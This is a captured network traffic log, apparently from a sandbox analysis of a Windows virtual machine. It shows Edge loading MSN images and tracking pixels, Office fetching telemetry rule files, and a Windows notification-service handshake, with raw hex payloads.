2013/03/13-12:09:15

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
121	192.168.2.6	49918	23.200.3.19	443	8040	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 06:53:53 UTC	634	OUT	GET /tenant/amp/entityid/BB1lFz6G.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-25 06:53:53 UTC	516	IN	HTTP/1.1 200 OK Content-Type: image/png Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/BB1lFz6G Last-Modified: Sat, 23 Nov 2024 18:14:45 GMT X-Source-Length: 5699 X-Datacenter: eastus X-ActivityId: 5c4ddcbc-0d99-4ea0-a3c4-13e18d04c61f Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Length: 5699 Cache-Control: public, max-age=299941 Expires: Thu, 28 Nov 2024 18:12:54 GMT Date: Mon, 25 Nov 2024 06:53:53 GMT Connection: close
2024-11-25 06:53:53 UTC	5699	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 32 00 00 00 32 08 06 00 00 00 1e 3f 88 b1 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 00 20 63 48 52 4d 00 00 7a 26 00 00 80 84 00 00 fa 00 00 00 80 e8 00 00 75 30 00 00 ea 60 00 00 3a 98 00 00 17 70 9c ba 51 3c 00 00 00 84 65 58 49 66 4d 4d 00 2a 00 00 00 08 00 05 01 12 00 03 00 00 00 01 00 01 00 00 01 1a 00 05 00 00 00 01 00 00 00 4a 01 1b 00 05 00 00 00 01 00 00 00 52 01 28 00 03 00 00 00 01 00 02 00 00 87 69 00 04 00 00 00 01 00 00 00 5a 00 00 00 00 00 00 00 48 00 00 00 01 00 00 00 48 00 00 00 01 00 03 a0 01 00 03 00 00 00 01 00 01 00 00 a0 02 00 04 00 00 00 01 00 00 00 32 a0 03 00 04 00 00 00 01 00 00 00 32 00 00 00 00 86 f1 c2 a8 00 00 00 09 70 48 59 73 00 00 0b 13 00 00 0b 13 01 00 Data Ascii: PNGIHDR22?gAMAa cHRMz&u0`:pQ<eXIfMM*JR(iZHH22pHYs

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
122	192.168.2.6	49917	23.200.3.19	443	8040	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 06:53:53 UTC	634	OUT	GET /tenant/amp/entityid/AA1hk7Sh.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-25 06:53:53 UTC	516	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Last-Modified: Sun, 17 Nov 2024 01:27:48 GMT X-Datacenter: eastus X-ActivityId: 4e8f5161-6e89-49b3-b675-e3ba25e83bf7 Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Type: image/png Content-Location: https://img.s-msn.com/tenant/amp/entityid/AA1hk7Sh X-Source-Length: 6962 Content-Length: 6962 Cache-Control: public, max-age=110025 Expires: Tue, 26 Nov 2024 13:27:38 GMT Date: Mon, 25 Nov 2024 06:53:53 GMT Connection: close
2024-11-25 06:53:53 UTC	6962	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 32 00 00 00 32 08 06 00 00 00 1e 3f 88 b1 00 00 0c 3f 69 43 43 50 49 43 43 20 50 72 6f 66 69 6c 65 00 00 48 89 95 57 07 58 53 c9 16 9e 5b 92 90 90 84 12 40 40 4a e8 4d 10 a9 01 a4 84 d0 42 ef 08 36 42 12 20 94 18 03 41 c5 8e 2e 2a b8 76 b1 80 0d 5d 15 51 b0 02 62 47 ec 2c 8a bd 2f 16 54 94 75 b1 60 57 de a4 80 ae fb ca f7 e6 fb e6 ce 7f ff 39 f3 9f 33 e7 ce dc 7b 07 00 8d e3 3c 89 24 0f d5 04 20 5f 5c 28 8d 0f 0d 64 8e 4a 4d 63 92 9e 02 0c d0 01 15 38 01 4b 1e bf 40 c2 8e 8d 8d 04 b0 0c b4 7f 2f ef ae 03 44 de 5e 71 94 6b fd b3 ff bf 16 2d 81 b0 80 0f 00 12 0b 71 86 a0 80 9f 0f f1 7e 00 f0 2a be 44 5a 08 00 51 ce 5b 4c 2a 94 c8 31 ac 40 47 0a 03 84 78 be 1c 67 29 71 95 1c 67 28 f1 6e 85 4d 62 3c 07 Data Ascii: PNGIHDR22??iCCPICC ProfileHWXS[@@JMB6B A.v]QbG,/Tu`W93{<$ _\(dJMc8K@/D^qk-q~DZQ[L*1@Gxg)qg(nMb<

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
123	192.168.2.6	49919	23.200.3.19	443	8040	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 06:53:53 UTC	634	OUT	GET /tenant/amp/entityid/AA1u24yb.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-25 06:53:53 UTC	516	IN	HTTP/1.1 200 OK Content-Type: image/png Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/AA1u24yb Last-Modified: Fri, 15 Nov 2024 21:15:54 GMT X-Source-Length: 3765 X-Datacenter: westus X-ActivityId: f3e4c9dc-fa16-4ee6-89a5-1e9169e1c90d Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Length: 3765 Cache-Control: public, max-age=397442 Expires: Fri, 29 Nov 2024 21:17:55 GMT Date: Mon, 25 Nov 2024 06:53:53 GMT Connection: close
2024-11-25 06:53:53 UTC	3765	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 32 00 00 00 32 08 06 00 00 00 1e 3f 88 b1 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 00 09 70 48 59 73 00 00 0e c1 00 00 0e c1 01 b8 91 6b ed 00 00 01 87 69 54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 78 6d 70 00 00 00 00 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 27 ef bb bf 27 20 69 64 3d 27 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 27 3f 3e 0d 0a 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 3e 3c 72 64 66 3a 52 44 46 20 78 6d 6c 6e 73 3a 72 64 66 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 30 32 2f 32 32 2d 72 64 66 2d 73 79 6e 74 61 78 2d 6e 73 23 22 Data Ascii: PNGIHDR22?gAMAapHYskiTXtXML:com.adobe.xmp<?xpacket begin='' id='W5M0MpCehiHzreSzNTczkc9d'?><x:xmpmeta xmlns:x="adobe:ns:meta/"><rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
124	192.168.2.6	49921	18.173.219.84	443	8040	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 06:53:53 UTC	1012	OUT	GET /b2?rn=1732517629969&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=2DA1B1BEC00C601118A0A4FCC1806184&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1 Host: sb.scorecardresearch.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: UID=1DBa317ad8b459c136021121732517631; XID=1DBa317ad8b459c136021121732517631
2024-11-25 06:53:53 UTC	326	IN	HTTP/1.1 204 No Content Connection: close Date: Mon, 25 Nov 2024 06:53:53 GMT Accept-CH: UA, Platform, Arch, Model, Mobile X-Cache: Miss from cloudfront Via: 1.1 c06dccfbc9bb974276058f2bb42421ea.cloudfront.net (CloudFront) X-Amz-Cf-Pop: JFK52-P1 X-Amz-Cf-Id: W8JHcztkp8Bfe5JOkDoXcxrk7YyIsmwKVAw0OnZcWeE3fjM6v7mqzg==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
125	192.168.2.6	49923	20.110.205.119	443	8040	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 06:53:53 UTC	1261	OUT	GET /c.gif?rnd=1732517629968&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=3caf3374baab4a08aa103de445967f78&activityId=3caf3374baab4a08aa103de445967f78&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0&ctsa=mr&CtsSyncId=8A4B8D2CFE114BE7B8264D967968FD62&MUID=2DA1B1BEC00C601118A0A4FCC1806184 HTTP/1.1 Host: c.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=2DA1B1BEC00C601118A0A4FCC1806184; _EDGE_S=F=1&SID=2457BEAAE07B6E681FF6ABE8E1D26F9A; _EDGE_V=1; SM=T
2024-11-25 06:53:54 UTC	983	IN	HTTP/1.1 200 OK Cache-Control: private, no-cache, proxy-revalidate, no-store Pragma: no-cache Content-Type: image/gif Last-Modified: Wed, 16 Oct 2024 16:24:13 GMT Accept-Ranges: bytes ETag: "8d3dafd6e71fdb1:0" Server: Microsoft-IIS/10.0 X-Powered-By: ASP.NET P3P: CP="BUS CUR CONo FIN IVDo ONL OUR PHY SAMo TELo" Set-Cookie: SM=C; domain=c.msn.com; path=/; SameSite=None; Secure; Set-Cookie: MUID=2DA1B1BEC00C601118A0A4FCC1806184; domain=.msn.com; expires=Sat, 20-Dec-2025 06:53:54 GMT; path=/; SameSite=None; Secure; Priority=High; Set-Cookie: SRM_M=2DA1B1BEC00C601118A0A4FCC1806184; domain=c.msn.com; expires=Sat, 20-Dec-2025 06:53:54 GMT; path=/; SameSite=None; Secure; Set-Cookie: MR=0; domain=c.msn.com; expires=Mon, 02-Dec-2024 06:53:54 GMT; path=/; SameSite=None; Secure; Set-Cookie: ANONCHK=0; domain=c.msn.com; expires=Mon, 25-Nov-2024 07:03:54 GMT; path=/; SameSite=None; Secure; Date: Mon, 25 Nov 2024 06:53:53 GMT Connection: close Content-Length: 42
2024-11-25 06:53:54 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 01 00 2c 00 00 00 00 01 00 01 00 00 02 01 4c 00 3b Data Ascii: GIF89a!,L;

Session ID	Source IP	Source Port	Destination IP	Destination Port
126	192.168.2.6	49922	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 06:53:53 UTC	192	OUT	GET /rules/rule120676v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 06:53:54 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 06:53:54 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B984BF177" x-ms-request-id: 4c5d161e-101e-007a-1f97-3d047e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T065354Z-15b8b599d88tr2flhC1TEB5gk400000005r0000000006skx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 06:53:54 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120676" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
127	192.168.2.6	49927	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 06:53:54 UTC	192	OUT	GET /rules/rule120679v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 06:53:54 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 06:53:54 GMT Content-Type: text/xml Content-Length: 174 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91D80E15" x-ms-request-id: 6ca31832-b01e-0021-3a64-3dcab7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T065354Z-15b8b599d88pxmdghC1TEBux9c00000005sg0000000042c9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 06:53:54 UTC	174	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 54 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 31 22 20 2f 3e 0d 0a 20 20 3c 2f 54 3e 0d 0a 3c 2f 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120679" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> </S> <T> <S T="1" /> </T></R>

Session ID	Source IP	Source Port	Destination IP	Destination Port
128	192.168.2.6	49925	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 06:53:54 UTC	192	OUT	GET /rules/rule120677v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 06:53:54 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 06:53:54 GMT Content-Type: text/xml Content-Length: 405 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:37 GMT ETag: "0x8DC582B942B6AFF" x-ms-request-id: d62908be-201e-0000-1eea-3ea537000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T065354Z-15b8b599d889gj5whC1TEBfyk0000000059g00000000k2h5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-25 06:53:54 UTC	405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5e 5b 58 78 5d 5b 45 65 5d 5b 4e 6e 5d 24 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120677" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <SR T="2" R="(^[Xx][Ee][Nn]$)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
129	192.168.2.6	49933	13.107.246.40	443	8040	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 06:53:54 UTC	425	OUT	GET /assets/edge_hub_apps_outlook_light.png/1.9.10/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-25 06:53:55 UTC	543	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 06:53:54 GMT Content-Type: image/png Content-Length: 1154 Connection: close Last-Modified: Wed, 25 Oct 2023 19:48:30 GMT ETag: 0x8DBD5935D5B3965 x-ms-request-id: b62109b6-801e-005f-09e3-3e9af9000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241125T065354Z-178bfbc474btrnf9hC1NYCb80g000000077g000000008xzr Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 69316365 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-25 06:53:55 UTC	1154	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 04 17 49 44 41 54 78 01 ed 97 cf 6f db 64 18 c7 bf 76 6a ea 34 69 e3 26 4b d4 b4 30 d2 f1 ab 4c 9a 96 c1 6e ed a1 30 0e 5c 10 4c b0 d3 0e ed 05 c1 05 35 3d ec 00 97 66 ff 41 72 43 02 a9 1a bb 70 03 c4 0d 6d 62 48 4c e2 f7 3a 0a 62 17 56 6b ab d6 aa cd 1a 37 4d 66 c7 89 fd ee 7d 9d 25 6b 1b 27 b1 1b 57 bd e4 23 39 f1 ef 7e fa 3c ef f3 bc 6f 80 1e 3d 8e 16 ce e9 8d c2 87 3f 24 4d 42 7e 04 88 04 2f e1 20 13 82 ac f9 e5 db 19 bb cb 3c 1c 62 10 73 d1 73 39 06 41 82 03 b7 80 d9 6f 6c df ed 38 82 13 5f 6f 10 b8 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaIDATxodvj4i&K0Ln0\L5=fArCpmbHL:bVk7Mf}%k'W#9~<o=?$MB~/ <bss9Aol8_o

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
130	192.168.2.6	49928	13.107.246.40	443	8040	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 06:53:54 UTC	431	OUT	GET /assets/edge_hub_apps_edrop_maximal_light.png/1.1.12/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-25 06:53:55 UTC	536	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 06:53:54 GMT Content-Type: image/png Content-Length: 1468 Connection: close Last-Modified: Fri, 03 Nov 2023 21:43:14 GMT ETag: 0x8DBDCB5E23DFC43 x-ms-request-id: 9d84fa81-201e-0034-192a-3dc7af000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241125T065354Z-178bfbc474b9fdhphC1NYCac0n000000072g000000003zsh Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-25 06:53:55 UTC	1468	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 05 51 49 44 41 54 78 01 ed 97 4b 6c 54 55 18 c7 ff e7 4e 19 62 da e0 b0 a1 01 03 5c 82 51 7c 52 16 1a 6d 6b 42 57 c4 c7 c2 2e 8c 26 24 46 62 44 17 26 b4 04 62 5c a0 ad 1a 63 dc c8 82 85 89 26 b4 09 68 89 1a a7 18 79 24 1a c6 05 75 41 02 17 19 23 46 03 13 10 4a 35 c8 50 fa 9a b9 f7 9c cf ef 3c ee 74 a6 96 76 da a6 2b e6 4b 4f ef cc b9 e7 9e ef 77 ff df e3 de 01 6a 56 b3 9a d5 ec ce 36 81 45 b6 cd 67 28 85 89 89 14 22 f8 20 e9 4b 0f 29 41 22 25 3c ac 85 42 8a a4 f2 a9 a8 52 8d e1 c5 d4 d5 70 75 3e 49 de a6 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaQIDATxKlTUNb\Q\|RmkBW.&$FbD&b\c&hy$uA#FJ5P<tv+KOwjV6Eg(" K)A"%<BRpu>I

Session ID	Source IP	Source Port	Destination IP	Destination Port
131	192.168.2.6	49924	20.198.119.143	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 06:53:54 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 58 4e 38 68 65 46 56 2f 7a 55 4b 58 68 45 59 75 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 37 61 34 37 32 30 63 36 36 31 39 39 61 39 34 36 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: XN8heFV/zUKXhEYu.1Context: 7a4720c66199a946
2024-11-25 06:53:54 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
